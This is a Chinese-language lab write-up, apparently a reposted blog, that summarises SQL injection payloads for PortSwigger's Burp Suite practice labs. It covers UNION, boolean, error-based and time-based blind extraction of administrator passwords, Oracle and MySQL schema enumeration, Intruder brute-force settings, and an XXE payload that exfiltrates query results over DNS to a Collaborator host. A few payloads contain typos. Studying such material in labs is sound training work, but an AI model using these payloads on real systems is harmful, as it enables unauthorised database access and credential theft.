burpsuite靶场SQL注入总结

Posted 向阳-Y.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了burpsuite靶场SQL注入总结相关的知识,希望对你有一定的参考价值。

各类数据库版本命令参照:
https://portswigger.net/web-security/sql-injection/cheat-sheet
burp靶场:https://portswigger.net/web-security/all-labs


注入技巧篇

数字型注入

' union select 1,2,3

字符型注入

' union select NULL,NULL,NULL--

注入点只有一个,但也能同时查两个数据

' union select null,username||'~'||password from users--

注入技巧(布尔注入非oracle)
某个注入点,发现如下语句返回正确结果:

' and '1'='1

判断是否存在user表

'+and+(select 'a' from users limit 1)='a;

判断user表中是否存在username、password

'+and+(select 'a' from users where username='administrator' and length(password)>1)='a;

继续注入,稍微改写一下,然后将a值放入burpsuite中的intruder爆破即可(文章末尾补充了burp爆破方法):

'+and+(select substring(password,1,1) from users where username='administrator')='$a$;

注意,只有oracle的substr不一样
Oracle SUBSTR(‘foobar’, 4, 2)
Microsoft SUBSTRING(‘foobar’, 4, 2)
PostgreSQL SUBSTRING(‘foobar’, 4, 2)
mysql SUBSTRING(‘foobar’, 4, 2)

注入技巧(双单引号oracle数据库)

某个注入点,输入一个单引号’报错,两个单引号’'返回正确结果
那么注入则可以这么写:

' || (select '') || '

如果是oracle数据库,则

' || (select '' from dual) || '

继续判断oracle数据是否存在users表(其中rownum类似于limit)

' || (select '' from users where rownum=1) ||'

判断columns

' || (select username from users where rownum=1) ||'
' || (select password from users where rownum=1) ||'

构造如下布尔注入(其中to_char写法会报错,以此来实现判断)

'+||+(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+users+where+username='administrator'+and+length(password)<1)||'

接下来就是burp跑字典,方法已经放到文章最后

'+||+(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+users+where+username='administrator'+and+substr(password,$A$,1)='$a$')||'

注入技巧(盲注)
某个注入点输入任何测试字符(如单引号,两个单引号,and 1=1)都返回正确结果,不妨试下如下语句

' || (select sleep(3))-- # MySQL
' || (select pg_sleep(3))-- # PostgreSQL

盲注判断一波password的长度,burpsuite再来爆破一波

'||(select case when (username='administrator' and length(password)<$1$) then pg_sleep(3) else pg_sleep(0) end from users)--

盲注爆破password(文章末尾补充了盲注爆破方法)

'||(select case when (username='administrator' and substring(password,$A$,1)='$B$') then pg_sleep(3) else pg_sleep(0) end from users)--

注入技巧(无回显、无盲注)
采用DNS Lookup注入,例如oracle的数据库注入验证方式
(更多请查看https://portswigger.net/web-security/sql-injection/cheat-sheet

' ||(SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual)--

burpsuite自带一个DNS lookup功能()

回显的这部分就是密码

各类数据库查version

oracle数据库查询version

'+union+select+user,banner+from+v$version--

Microsoft&MySQL查询version

SELECT @@version

更多请查看:
https://portswigger.net/web-security/sql-injection/cheat-sheet

oracle数据库默认表

oracle 数据库不能通过select null,null这种方式,必须确定from,通过百度搜索oracle database statement可知,DUAL表示默认的表

'+union+select+'a','b'+from+DUAL--

oracle查询自带库,类似于mysql中的information_schema

' union select table_name,null from all_tables--

oracle利用all_tab_columns查询字段

' union select columns_name from all_tab_columns where table_name='USERS_PRTMSH'

利用all_tab_columns查询出的字段进行查询

' union select USERNAME_GTGIHR||'~'||PASSWORD_SGMAIO,null from USERS_PRTMSH--

MySQL数据库

information_schema

利用information_schema表查询表

' union select table_name,null from information.tables--

通过information_schema表查询出来的表来继续查询column

' union select column_name,null from information_schema.columns where table_name= users_dababase--

burpsuite爆破-布尔型

这里补充一下burp爆破的技巧,上面提到的布尔注入需要爆破两个点,
结构类似于:

for B in range(20):
	for A in range(30)

这种结构爆破可以选择Cluster bomb

并且给A点设置如下payload

给B点设置如下payload

爆破中…

burpsuite爆破-时间型

1.这里的语句如下

'||(select case when (username='administrator' and substring(password,§A§,1)='§B§') then pg_sleep(3) else pg_sleep(0) end from users)--

2.设置一下Cluster bomb,并设置两个爆破参数

3.payload中第一个参数为1-20的数字,所以设置如下:

4.第二个参数需要在数字与字母之间进行爆破,所以选择brute forcer:

5.这一点与其他注入不同,时间盲注需要将线程设置为1(否则会让时间延迟判断有误差)


6.运行即可,设置显示延时回显Response received(因为是单线程,这里等待的时间很长)

7.找出高延时的即可

以上是关于burpsuite靶场SQL注入总结的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入

用burpsuite和sql联动工具注入漏洞

掌控安全学院SQL注入靶场

0到1 ctfer: SQL注入-2

JAVA代码审计之WebGoat靶场SQL注入

Burpsuite Sqlmap Nmap入门总结